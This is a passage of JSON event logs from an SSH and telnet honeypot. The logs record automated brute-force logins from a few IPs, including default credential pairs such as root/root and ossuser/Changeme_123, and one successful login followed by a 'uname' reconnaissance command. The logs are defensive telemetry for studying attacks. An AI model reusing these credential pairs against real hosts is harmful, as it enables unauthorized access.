fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:47.614601Z","src_ip":"192.109.200.78","session":"696296b9f210","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"1","message":"login attempt [steam/1] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:47.863735Z","src_ip":"192.109.200.78","session":"696296b9f210","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:48.176978Z","src_ip":"192.109.200.78","session":"696296b9f210","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:48.181230Z","src_ip":"192.109.200.78","session":"696296b9f210","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:48.274500Z","src_ip":"192.109.200.78","session":"696296b9f210","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:48.280336Z","src_ip":"192.109.200.78","session":"696296b9f210","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58026,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d1e72133c89","protocol":"ssh","message":"New connection: 192.109.200.78:58026 (159.203.135.109:22) [session: 1d1e72133c89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:51.579823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:51.584826Z","src_ip":"192.109.200.78","session":"1d1e72133c89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:51.667409Z","src_ip":"192.109.200.78","session":"1d1e72133c89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"123456","message":"login attempt [teamspeak/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:52.037844Z","src_ip":"192.109.200.78","session":"1d1e72133c89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":42744,"dst_ip":"159.203.135.109","dst_port":22,"session":"89fe941c75c7","protocol":"ssh","message":"New connection: 176.65.139.95:42744 (159.203.135.109:22) [session: 89fe941c75c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:52.473232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:52.480367Z","src_ip":"176.65.139.95","session":"89fe941c75c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:52.567851Z","src_ip":"176.65.139.95","session":"89fe941c75c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:52.984068Z","src_ip":"176.65.139.95","session":"89fe941c75c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:53.121568Z","src_ip":"192.109.200.78","session":"1d1e72133c89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:54.071484Z","src_ip":"176.65.139.95","session":"89fe941c75c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53960,"dst_ip":"159.203.135.109","dst_port":22,"session":"2cbad15bec63","protocol":"ssh","message":"New connection: 159.203.92.129:53960 (159.203.135.109:22) [session: 2cbad15bec63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:54.783726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:54.789100Z","src_ip":"159.203.92.129","session":"2cbad15bec63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:54.794763Z","src_ip":"159.203.92.129","session":"2cbad15bec63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"R00T","password":"R00T","message":"login attempt [R00T/R00T] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:54.810883Z","src_ip":"159.203.92.129","session":"2cbad15bec63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:55.818565Z","src_ip":"159.203.92.129","session":"2cbad15bec63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58034,"dst_ip":"159.203.135.109","dst_port":22,"session":"90d09f3d03c4","protocol":"ssh","message":"New connection: 192.109.200.78:58034 (159.203.135.109:22) [session: 90d09f3d03c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:55.884071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:55.895757Z","src_ip":"192.109.200.78","session":"90d09f3d03c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:55.978301Z","src_ip":"192.109.200.78","session":"90d09f3d03c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rock","password":"rock","message":"login attempt [rock/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:56.228972Z","src_ip":"192.109.200.78","session":"90d09f3d03c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:57.316476Z","src_ip":"192.109.200.78","session":"90d09f3d03c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":35592,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e95f2f76ad6","protocol":"ssh","message":"New connection: 176.65.139.95:35592 (159.203.135.109:22) [session: 9e95f2f76ad6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:59.141302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:59.153625Z","src_ip":"176.65.139.95","session":"9e95f2f76ad6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:59.244979Z","src_ip":"176.65.139.95","session":"9e95f2f76ad6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootroot","message":"login attempt [root/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:59.673361Z","src_ip":"176.65.139.95","session":"9e95f2f76ad6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46860,"dst_ip":"159.203.135.109","dst_port":22,"session":"b57a9bd32f0b","protocol":"ssh","message":"New connection: 192.109.200.78:46860 (159.203.135.109:22) [session: b57a9bd32f0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:00.041223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:00.048629Z","src_ip":"192.109.200.78","session":"b57a9bd32f0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:00.127268Z","src_ip":"192.109.200.78","session":"b57a9bd32f0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ossuser","password":"Changeme_123","message":"login attempt [ossuser/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:00.445297Z","src_ip":"192.109.200.78","session":"b57a9bd32f0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:00.807553Z","src_ip":"176.65.139.95","session":"9e95f2f76ad6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:01.534700Z","src_ip":"192.109.200.78","session":"b57a9bd32f0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0045416355133,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:03.716582Z","src_ip":"212.252.78.49","session":"d8df005c7e73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46892,"dst_ip":"159.203.135.109","dst_port":22,"session":"5975fed36cf6","protocol":"ssh","message":"New connection: 192.109.200.78:46892 (159.203.135.109:22) [session: 5975fed36cf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:04.144250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:04.149390Z","src_ip":"192.109.200.78","session":"5975fed36cf6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:04.234395Z","src_ip":"192.109.200.78","session":"5975fed36cf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"customer","password":"customer","message":"login attempt [customer/customer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:04.491411Z","src_ip":"192.109.200.78","session":"5975fed36cf6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.252.78.49","src_port":48897,"dst_ip":"159.203.135.109","dst_port":23,"session":"596c53b3f2ce","protocol":"telnet","message":"New connection: 212.252.78.49:48897 (159.203.135.109:23) [session: 596c53b3f2ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:04.834326Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:05.581791Z","src_ip":"192.109.200.78","session":"5975fed36cf6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":35604,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9591cade21d","protocol":"ssh","message":"New connection: 176.65.139.95:35604 (159.203.135.109:22) [session: d9591cade21d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:05.743138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:05.756197Z","src_ip":"176.65.139.95","session":"d9591cade21d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa